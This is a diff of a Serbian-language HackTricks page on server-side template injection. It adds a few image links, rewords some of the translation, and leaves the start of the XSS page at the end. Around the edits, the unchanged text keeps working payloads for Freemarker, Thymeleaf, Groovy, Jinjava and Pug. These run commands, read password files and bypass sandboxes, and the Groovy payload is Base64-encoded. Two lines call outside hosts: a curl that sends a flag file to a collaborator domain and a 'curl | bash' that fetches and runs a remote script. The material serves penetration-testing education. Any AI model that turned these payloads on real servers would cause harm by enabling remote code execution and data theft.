Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u određivanju specifičnog šablonskog motora.
|
||||||
|
|
||||||
|
#### Identification by payloads
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
|
@ -75,13 +83,13 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||||
```
|
```
|
||||||
### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table)
|
### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table)
|
||||||
|
|
||||||
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija šablonska motora.
|
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a šablona.
|
||||||
|
|
||||||
## Eksploati
|
## Eksploati
|
||||||
|
|
||||||
### Generički
|
### Generički
|
||||||
|
|
||||||
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od motora pomenutih u nastavku:
|
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
|
||||||
|
|
||||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||||
|
@ -123,7 +131,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||||
|
|
||||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||||
```
|
```
|
||||||
**Freemarker - Obilaženje sandboxes**
|
**Freemarker - Obilaženje sandbox-a**
|
||||||
|
|
||||||
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
||||||
```java
|
```java
|
||||||
|
@ -168,7 +176,7 @@ $out.read()
|
||||||
|
|
||||||
### Thymeleaf
|
### Thymeleaf
|
||||||
|
|
||||||
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
|
U Thymeleaf-u, uobičajen test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
|
||||||
|
|
||||||
* SpringEL:
|
* SpringEL:
|
||||||
|
|
||||||
|
@ -196,7 +204,7 @@ Razmotrite sledeći deo koda, koji bi mogao biti podložan eksploataciji:
|
||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
Ovo ukazuje da, ako motor šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
|
Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
|
@ -215,7 +223,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
```
|
```
|
||||||
**Obilaženje filtera**
|
**Obilaženje filtera**
|
||||||
|
|
||||||
Više varijantnih izraza može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
Mogu se koristiti višestruki izrazi promenljivih, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
|
||||||
|
|
||||||
* Pročitajte `/etc/passwd`
|
* Pročitajte `/etc/passwd`
|
||||||
```java
|
```java
|
||||||
|
@ -330,7 +338,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
|
||||||
* `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
* `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||||
|
|
||||||
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
||||||
```java
|
```java
|
||||||
{{request.isDebug()}}
|
{{request.isDebug()}}
|
||||||
//output: False
|
//output: False
|
||||||
|
@ -386,10 +394,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
|
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
|
* **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
|
||||||
* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
|
* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima.
|
||||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio neometanu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.
|
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio neometanu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.
|
||||||
|
|
||||||
Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**:
|
Pogledajte sledeću stranicu da biste saznali više o **iskorišćavanju EL interpretera**:
|
||||||
|
|
||||||
{% content-ref url="el-expression-language.md" %}
|
{% content-ref url="el-expression-language.md" %}
|
||||||
[el-expression-language.md](el-expression-language.md)
|
[el-expression-language.md](el-expression-language.md)
|
||||||
|
@ -422,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
|
||||||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||||||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||||
```
|
```
|
||||||
|
### Other Java
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||||
|
|
||||||
|
### Ostali PHP
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### Jade (NodeJS)
|
### Jade (NodeJS)
|
||||||
```javascript
|
```javascript
|
||||||
- var x = root.process
|
- var x = root.process
|
||||||
|
@ -604,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||||
|
|
||||||
### patTemplate (PHP)
|
### patTemplate (PHP)
|
||||||
|
|
||||||
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
|
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, a koristi XML tagove za deljenje dokumenta na različite delove
|
||||||
```xml
|
```xml
|
||||||
<patTemplate:tmpl name="page">
|
<patTemplate:tmpl name="page">
|
||||||
This is the main page.
|
This is the main page.
|
||||||
|
@ -686,7 +706,7 @@ URLencoded:
|
||||||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||||
|
|
||||||
**Primer server side render**
|
**Primer renderovanja sa servera**
|
||||||
```javascript
|
```javascript
|
||||||
var pugjs = require('pug');
|
var pugjs = require('pug');
|
||||||
home = pugjs.render(injected_page)
|
home = pugjs.render(injected_page)
|
||||||
|
@ -709,6 +729,14 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||||||
|
|
||||||
|
### Ostali NodeJS
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### ERB (Ruby)
|
### ERB (Ruby)
|
||||||
|
|
||||||
* `{{7*7}} = {{7*7}}`
|
* `{{7*7}} = {{7*7}}`
|
||||||
|
@ -740,9 +768,17 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||||
|
|
||||||
|
### Drugi Ruby
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### Python
|
### Python
|
||||||
|
|
||||||
Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvoljnih komandi zaobilaženjem sandboksova** u pythonu:
|
Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvršavanja proizvoljnih komandi u sandbox-ima** u python-u:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
|
@ -850,6 +886,14 @@ ${x}
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||||
|
|
||||||
|
### Ostali Python
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||||
|
|
||||||
### Razor (.Net)
|
### Razor (.Net)
|
||||||
|
|
||||||
* `@(2+2) <= Uspeh`
|
* `@(2+2) <= Uspeh`
|
||||||
|
@ -885,10 +929,10 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
|
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
|
||||||
|
|
||||||
* `<%= 7*7 %> = 49`
|
* `<%= 7*7 %> = 49`
|
||||||
* `<%= foobar %> = Greška`
|
* `<%= foobar %> = Error`
|
||||||
```
|
```
|
||||||
<%= perl code %>
|
<%= perl code %>
|
||||||
<% perl code %>
|
<% perl code %>
|
||||||
|
@ -897,21 +941,23 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||||
|
|
||||||
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
||||||
|
|
||||||
* `{{ . }}`: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
* `{{ . }}`: Otkrije strukturu podataka. Na primer, ako se prosledi objekat sa atributom `Password`, `{{ .Password }}` može ga otkriti.
|
||||||
* `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
* `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
||||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-i bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
**XSS Eksploatacija**
|
**XSS Eksploatacija**
|
||||||
|
|
||||||
Sa paketom `text/template`, XSS može biti jednostavan umetanjem payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
||||||
vbnet Copy code
|
vbnet Copy code
|
||||||
|
|
||||||
**RCE Eksploatacija**
|
**RCE Eksploatacija**
|
||||||
|
|
||||||
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći “call” vrednost), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
|
||||||
|
|
||||||
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima `System` metodu koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
|
@ -945,7 +991,7 @@ Ako mislite da bi moglo biti korisno, pročitajte:
|
||||||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||||
|
|
||||||
## Lista za Detekciju Brute-Force
|
## Brute-Force Lista za Detekciju
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
|
@ -967,11 +1013,11 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# XSS (Cross Site Scripting)
|
# XSS (Cross Site Scripting)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako vas zanima **karijera u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Metodologija
|
## Metodologija
|
||||||
|
|
||||||
1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
|
1. Proverite da li je **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražena** u HTML-u ili **korišćena** od strane **JS** koda.
|
||||||
2. **Pronađite kontekst** gde se odražava/koristi.
|
2. **Pronađite kontekst** gde je odražena/korišćena.
|
||||||
3. Ako je **odražano**
|
3. Ako je **odražena**
|
||||||
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
||||||
